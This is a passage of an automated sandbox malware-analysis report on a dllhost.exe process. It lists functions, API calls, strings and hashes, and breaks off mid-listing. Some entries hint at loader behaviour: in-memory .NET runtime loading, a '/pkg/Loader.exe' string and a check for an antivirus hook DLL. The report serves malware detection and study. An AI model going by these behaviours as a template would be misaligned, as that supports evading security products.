Instruction Fuzzy Hash: D702F724C087C599DB168A78805D3EDBFF29F43228F9986CDC4D31BA97C27E6249D352

Function 7FE42D84 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

memset.NTDLL ref: 7FE42D8F
memset.NTDLL ref: 7FE42D9D

Part of subcall function 7FE4257F: lstrlen.KERNEL32(?,?,?,00000000,?,7FE41777,?,/etc/plugins.plist,?), ref: 7FE4259C

Strings

/pkg/Loader.exe, xrefs: 7FE42DAB
X>(", xrefs: 7FE42DCE

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: memset$lstrlen
String ID: /pkg/Loader.exe$X>("
API String ID: 810095026-1983462030
Opcode ID: 3d4c5262710afe944422458cd2da0bc82c01e9077a17efada0eb841bf3cd5f34
Instruction ID: 53c5c49a1a72ff726aaeb956e843ea171699dcfe35651cd7620813fce0329fec
Opcode Fuzzy Hash: 3d4c5262710afe944422458cd2da0bc82c01e9077a17efada0eb841bf3cd5f34
Instruction Fuzzy Hash: A8E0DF7A6663007AD200CF0ABC41F3936ECE746B50F38220DBE44AE288D3E020094789

Function 7FE43586 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(7FE436AF,CLRCreateInstance), ref: 7FE4359C

Strings

CLRCreateInstance, xrefs: 7FE4358C
v4.0.30319, xrefs: 7FE4358B

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: AddressProc
String ID: CLRCreateInstance$v4.0.30319
API String ID: 190572456-303888047
Opcode ID: ee11bf2f7cd5b6165e65e907bb3e342fbf2494dd9a6e8d7db98cfb98964fecc3
Instruction ID: 4049353a07a8ef2bd98e8e00e1d987354befd7e798cdf1343371d813bbfb0654
Opcode Fuzzy Hash: ee11bf2f7cd5b6165e65e907bb3e342fbf2494dd9a6e8d7db98cfb98964fecc3
Instruction Fuzzy Hash: 3F215E70B04246EFEB10CF95E945FBE7BB9EF84255B10529CB806EB210D771EA11EB20

Function 004F02A2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(7FE453B0), ref: 004F02B0

Strings

v2.0.50727, xrefs: 004F02BC, 004F02C2, 004F02E8, 004F0302
v4.0.30319, xrefs: 004F02C8, 004F02CE, 004F02F5

Memory Dump Source

Source File: 00000007.00000002.1820325371.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f0000_dllhost.jbxd

Similarity

API ID: LibraryLoad
String ID: v2.0.50727$v4.0.30319
API String ID: 1029625771-3789287155
Opcode ID: 46fb0c6000660d2ecd93cfff72376eef47f50ecf2f9a5368e1c79332df3f6d6e
Instruction ID: 7622eda474caacee72b1491d530f8e7e5a150ef8a972d25177cea66a555d9446
Opcode Fuzzy Hash: 46fb0c6000660d2ecd93cfff72376eef47f50ecf2f9a5368e1c79332df3f6d6e
Instruction Fuzzy Hash: 92F0A962A0221CBBDB1117955D49A7F765C8BC13D9F25016BFF01A2203D6B88E4192BD

Function 7FE31F30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7threadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(aswhook.dll,7FE31BBA), ref: 7FE31F35
DisableThreadLibraryCalls.KERNEL32(00000000), ref: 7FE31F40

Strings

aswhook.dll, xrefs: 7FE31F30

Memory Dump Source

Source File: 00000007.00000003.1819863860.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_7fe31000_dllhost.jbxd

Similarity

API ID: CallsDisableHandleLibraryModuleThread
String ID: aswhook.dll
API String ID: 78584604-2561582699
Opcode ID: d74cb2dd0cf48b6df68db21c6a49973dbb8b91d3aa3364bb512230de829d39d3
Instruction ID: ebe0215c953d00e54fa583c8f1e870bcfd19df2d92563f2361f67c6791dd81a8
Opcode Fuzzy Hash: d74cb2dd0cf48b6df68db21c6a49973dbb8b91d3aa3364bb512230de829d39d3
Instruction Fuzzy Hash: CAB012BDF002045BBE101F734B0CB0935AF6F8237335482D46883D9000CF24C014CD20

Analysis Process: dllhost.exePID: 7192, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.1%
Total number of Nodes:	671
Total number of Limit Nodes:	14

Executed Functions

Function 00405AE4 Relevance: 30.1, APIs: 20, Instructions: 136
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00405B02
CreateCompatibleDC.GDI32(00000000), ref: 00405B0B
SetTimer.USER32(?,00000001,000003E8,00000000), ref: 00405B1D
LoadStringW.USER32(00000081,00000001,00000000,00000000), ref: 00405B2A
GetWindowLongW.USER32(?,000000EB), ref: 00405B38
KillTimer.USER32(?,00000001), ref: 00405B79
AnimateWindow.USER32(?,00000BB8,00090000), ref: 00405B8A
PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00405B95
DefWindowProcW.USER32(?,00000081,?,?), ref: 00405C59

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: Window$LongTimer$AnimateCompatibleCreateKillLoadMessagePostProcString
String ID:
API String ID: 2522358032-0
Opcode ID: 3030fe5b0f7969995eb32f426db33af26adcdaaaba1d73ac6509f2ca98b2a990
Instruction ID: d2e356219e18b708c0172940fafb97bba7094412dfd2a6634aeebdafb9ad043e
Opcode Fuzzy Hash: 3030fe5b0f7969995eb32f426db33af26adcdaaaba1d73ac6509f2ca98b2a990
Instruction Fuzzy Hash: E5418C72604606BBEB215FA1DE8CEAB7B7CFB89701F004425F653B91A2C7749900DF28

Function 004061E4 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 301
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00100000,20000000,00000000), ref: 004061FE
HeapAlloc.KERNEL32(00000000,00000008,00000290), ref: 00406222
HeapAlloc.KERNEL32(00000000,00000008,?), ref: 00406252
HeapAlloc.KERNEL32(00000000,00000008,00000040), ref: 00406270
TlsAlloc.KERNEL32 ref: 004062E3
TlsSetValue.KERNEL32(00000000), ref: 004062F7
RtlAddVectoredExceptionHandler.NTDLL(00000000,004083E4), ref: 00406304
RtlRemoveVectoredExceptionHandler.NTDLL(00000000), ref: 00406322
TlsFree.KERNELBASE ref: 0040632E
KiUserCallbackDispatcher.NTDLL(00000000,00000000,00000000,?,00000000), ref: 0040658E

Part of subcall function 004089E4: CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000001,?,0040634F), ref: 004089ED

Part of subcall function 00405FE4: GetTickCount.KERNEL32 ref: 00405FE4

HeapDestroy.KERNELBASE(00000000), ref: 00406594

Strings

{@, xrefs: 00406296

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: Heap$Alloc$CreateExceptionHandlerVectored$CallbackCompletionCountDestroyDispatcherFreePortRemoveTickUserValue
String ID: {@
API String ID: 277470114-1579578673
Opcode ID: a252d9a9bbabb819f35d15b8839e444d3c8de345bd946ee0ddfb99abba457d68
Instruction ID: 395f014a8140dccc6966b0a3a1c57690136f4d7ee00889256cdb175a7fd384a4
Opcode Fuzzy Hash: a252d9a9bbabb819f35d15b8839e444d3c8de345bd946ee0ddfb99abba457d68
Instruction Fuzzy Hash: 3AD1AD75A00218EFDB04DF98D985BADBBB1BF08315F15406AE806BB3A1D774AD91CF18

Function 00407BE4 Relevance: 24.2, APIs: 16, Instructions: 179
memorywindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconW.USER32(?,00000001), ref: 00407C16
LoadCursorW.USER32(00000000,00007F00), ref: 00407C2F
RegisterClassW.USER32(00000008), ref: 00407C49
GetProcessHeap.KERNEL32(00000008,00000010), ref: 00407C53
HeapAlloc.KERNEL32(00000000), ref: 00407C5A
CreateWindowExW.USER32(00000080,0040933C,0040933C,80000000,00000000,00000000,0000012C,000000A9,00000000,00000000,?,00000000), ref: 00407C8D
GetWindowRect.USER32(?,?), ref: 00407CBE
MonitorFromWindow.USER32(?,00000002), ref: 00407CD0
GetMonitorInfoW.USER32(00000000), ref: 00407CD7
SetWindowPos.USER32(?,000000FF,?,00000001,000000FF,000000FF,00000041), ref: 00407D60
ShowWindow.USER32(?,00000005), ref: 00407D6B
LoadAcceleratorsW.USER32(?,00000001), ref: 00407D79
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00407D98
TranslateMessage.USER32(?), ref: 00407DA5
DispatchMessageW.USER32(?), ref: 00407DB2
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 00407DC2

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: Window$Load$HeapMessageMonitorTranslate$AcceleratorAcceleratorsAllocCallbackClassCreateCursorDispatchDispatcherFromIconInfoProcessRectRegisterShowUser
String ID:
API String ID: 3991283183-0
Opcode ID: 9f61036d0e7f02a6a7ba6517aaf0fbfdc1e91730bf49ef7b523983749e8edbab
Instruction ID: 5fe4f1e6764284e1476b4f887ecc18003e39f80d17944e0d46fd62ec5d74e65c
Opcode Fuzzy Hash: 9f61036d0e7f02a6a7ba6517aaf0fbfdc1e91730bf49ef7b523983749e8edbab
Instruction Fuzzy Hash: CB512A71A0021AAFDF00DFA8DD48AAEBBB9FF48310F148125F605F7291D774A945CB94

Function 00401000 Relevance: 6.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00401026

Part of subcall function 00403B48: HeapCreate.KERNELBASE(00000000,00001000,00000000,0040105E,00000001), ref: 00403B59
Part of subcall function 00403B48: HeapDestroy.KERNEL32 ref: 00403B98

GetCommandLineA.KERNEL32 ref: 00401086
GetStartupInfoA.KERNEL32(?), ref: 004010B1
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004010D4

Part of subcall function 00404890: ExitProcess.KERNEL32 ref: 004048AD

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: 446b7fcb8fcb92790f71322ff8387f25dfb74f1e11fa9a61e5eee6a62c75f59e
Instruction ID: 091a06186873a18e525cd289e51ac515907a6106f624eaab6d6e2ea4d711997a
Opcode Fuzzy Hash: 446b7fcb8fcb92790f71322ff8387f25dfb74f1e11fa9a61e5eee6a62c75f59e
Instruction Fuzzy Hash: 7721D2F1900745AADB04AFB59D06B6E7BB8AB44705F10443FF601BB2E2DB788940CA5D

Function 004047D4 Relevance: 4.6, APIs: 3, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00404889,?,00000000,00000000,004010E9,00000000,00000000), ref: 004047E9
TerminateProcess.KERNEL32(00000000,?,00404889,?,00000000,00000000,004010E9,00000000,00000000), ref: 004047F0
ExitProcess.KERNEL32 ref: 00404871

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ad8cc25982e85b102fcf734b02b4049def137bff0af21db10ca1abc7b14d613d
Instruction ID: 462893b16460747d6fcfe72fcdd75f783e50c19e3ae09171eda3095d480ad325
Opcode Fuzzy Hash: ad8cc25982e85b102fcf734b02b4049def137bff0af21db10ca1abc7b14d613d
Instruction Fuzzy Hash: 9401A9B2D04341AAD620AF65FC4561A7BA4ABC0756B10843FF940B31E2D778DD49C61E

Function 00403B48 Relevance: 3.0, APIs: 2, Instructions: 30
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,0040105E,00000001), ref: 00403B59

Part of subcall function 004023BC: GetVersionExA.KERNEL32 ref: 004023DB

HeapDestroy.KERNEL32 ref: 00403B98

Part of subcall function 00403470: HeapAlloc.KERNEL32(00000000,00000140,00403B81,000003F8), ref: 0040347D

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 7eef139956fc6b6503d22f50377ba22f9a0d4510e9bed10b0cab0d45bef97551
Instruction ID: 38e43db576a1c1f139e2ce340b371da4423acca777513b2ecda9cd47fb161bbd
Opcode Fuzzy Hash: 7eef139956fc6b6503d22f50377ba22f9a0d4510e9bed10b0cab0d45bef97551
Instruction Fuzzy Hash: 26F06C70615241AADF605F715D4A76539A8974075FF10443BF901E41E2FBBC9A80D51E

Function 00401CF8 Relevance: 1.6, APIs: 1, Instructions: 80
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,-0000000F,00000000,?,00000000,00000000,00000000), ref: 00401DDF

Part of subcall function 00403E20: InitializeCriticalSection.KERNEL32(00000000,00000000,?,?,0040192E,00000009,00000000,00000000,00000001,00403B05,00000001,00000074,?,?,00000000,00000001), ref: 00403E5D
Part of subcall function 00403E20: EnterCriticalSection.KERNEL32(?,?,?,0040192E,00000009,00000000,00000000,00000001,00403B05,00000001,00000074,?,?,00000000,00000001), ref: 00403E78

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: CriticalSection$AllocateEnterHeapInitialize
String ID:
API String ID: 1616793339-0
Opcode ID: 756cd01c39194698c178267817efcecc07595685624dfce0e6f70e5fc4d986ae
Instruction ID: 0eb1dc17c14108799a2f69fa9380fb746230cb3b553324af04f251d97b223738
Opcode Fuzzy Hash: 756cd01c39194698c178267817efcecc07595685624dfce0e6f70e5fc4d986ae
Instruction Fuzzy Hash: B821B531A00245ABDB10AF65DC42B9EB7A4EF01764F104637F421FB2E1D778B9418A9D

Function 00408BE4 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE(?,0040657A), ref: 00408BED

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: eefea5864f2e9bc3aa93829615552e57cfb27a82f740677d3ccb14cd068e4179
Instruction ID: 51c91903cda41e96d084a3e42638c69303d69842121a8251b0a5f197d8c491fa
Opcode Fuzzy Hash: eefea5864f2e9bc3aa93829615552e57cfb27a82f740677d3ccb14cd068e4179
Instruction Fuzzy Hash: 5FB09270400B058FC6348F39C94E81A77B8BA013303A44B58F0F2E14F2DB38E80B8E08

Non-executed Functions

Function 00402310 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,0040206C,?,Microsoft Visual C++ Runtime Library,00012010,?,00409484,?,004093AC,?,?,?,Runtime Error!Program: ), ref: 00402322
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0040233A
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0040234B
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00402358

Strings

GetActiveWindow, xrefs: 00402345
user32.dll, xrefs: 0040231D
GetLastActivePopup, xrefs: 0040234D
MessageBoxA, xrefs: 00402334

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: bf1531d2474d3faa7ed7e2d01ba0ec08b43ca523d80dba313fb880c13d5286b9
Instruction ID: a91e97475604824d52661f65b716ec7d38c927d4a6d07e27c956461a352b1280
Opcode Fuzzy Hash: bf1531d2474d3faa7ed7e2d01ba0ec08b43ca523d80dba313fb880c13d5286b9
Instruction Fuzzy Hash: E4017571300312ABCB119FB55D88A5B3BE89B89791318043BE905E22F2E6FCDC419B5A

Function 00407DE4 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ddf16cb77d3606a76c7540dec3e41d54c30cddb23cbb6426311c0e5d7cbe65
Instruction ID: 9569aa763f9872f3d00b81e12cb9f4a12378b404671576db27e6ea43a04b0efe
Opcode Fuzzy Hash: 38ddf16cb77d3606a76c7540dec3e41d54c30cddb23cbb6426311c0e5d7cbe65
Instruction Fuzzy Hash: E4015AB5A01200AFC301DF08C940E6677E9BFC8B10F6582AEE5499B256D372E802CB94

Function 0040123C Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringW.KERNEL32(00000000,00000100,0040937C,00000001,00000000,00000000,74DEE860,0046302C,?,?,?,00405455,?,?,?,00000000), ref: 0040127E
LCMapStringA.KERNEL32(00000000,00000100,004091E4,00000001,00000000,00000000,?,?,00405455,?,?,?,00000000,00000001), ref: 0040129A
LCMapStringA.KERNEL32(?,?,?,UT@,?,?,74DEE860,0046302C,?,?,?,00405455,?,?,?,00000000), ref: 004012E3
MultiByteToWideChar.KERNEL32(?,?,?,UT@,00000000,00000000,74DEE860,0046302C,?,?,?,00405455,?,?,?,00000000), ref: 0040131B
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,00000000,?,?,00405455,?,?,?,00000000,00000001), ref: 00401373
LCMapStringW.KERNEL32(?,?,?,00000000,00000000,00000000,?,?,00405455,?,?,?,00000000,00000001), ref: 00401389
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,00405455,?,?,?,00000000,00000001), ref: 004013BC
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,00405455,?,?,?,00000000,00000001), ref: 00401424

Strings

UT@, xrefs: 00401306, 00401368, 004012D7, 004012B7
,0F, xrefs: 0040130C, 00401317

Memory Dump Source

Source File: 0000000B.00000002.2375951754.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2375937673.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.0000000000409000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2375966735.000000000045C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376004528.000000000045D000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376017995.000000000045F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376031374.0000000000461000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.2376044732.0000000000464000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_dllhost.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID: ,0F$UT@
API String ID: 352835431-2878614304
Opcode ID: 20a1db820de116d8ad5c0da650e76a168eb42664ba9ed105f6b272a5748af243
Instruction ID: 70022fb4d6e7daf8109784e1358cb703ad01eb556abcdb82bbaa93dddd8f4f9e
Opcode Fuzzy Hash: 20a1db820de116d8ad5c0da650e76a168eb42664ba9ed105f6b272a5748af243
Instruction Fuzzy Hash: ED516731500249EFDF228F95CC45AAF7BB9FB48750F10812AF911B22B0D3398D60DB69

Function 00401460 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStringTypeW.KERNEL32(00000001,0040937C,00000001,?,74DEE860,0046302C,?,?,00405455,?,?,?,00000000,00000001), ref: 0040149F
GetStringTypeA.KERNEL32(00000000,00000001,004091E4,00000001,?,?,00405455,?,?,?,00000000,00000001), ref: 004014B9
GetStringTypeA.KERNEL32(?,?,?,?,UT@,74DEE860,0046302C,?,?,00405455,?,?,?,00000000,00000001), ref: 004014ED
MultiByteToWideChar.KERNEL32(?,,0F,?,?,00000000,00000000,74DEE860,0046302C,?,?,00405455,?,?,?,00000000,00000001), ref: 00401525
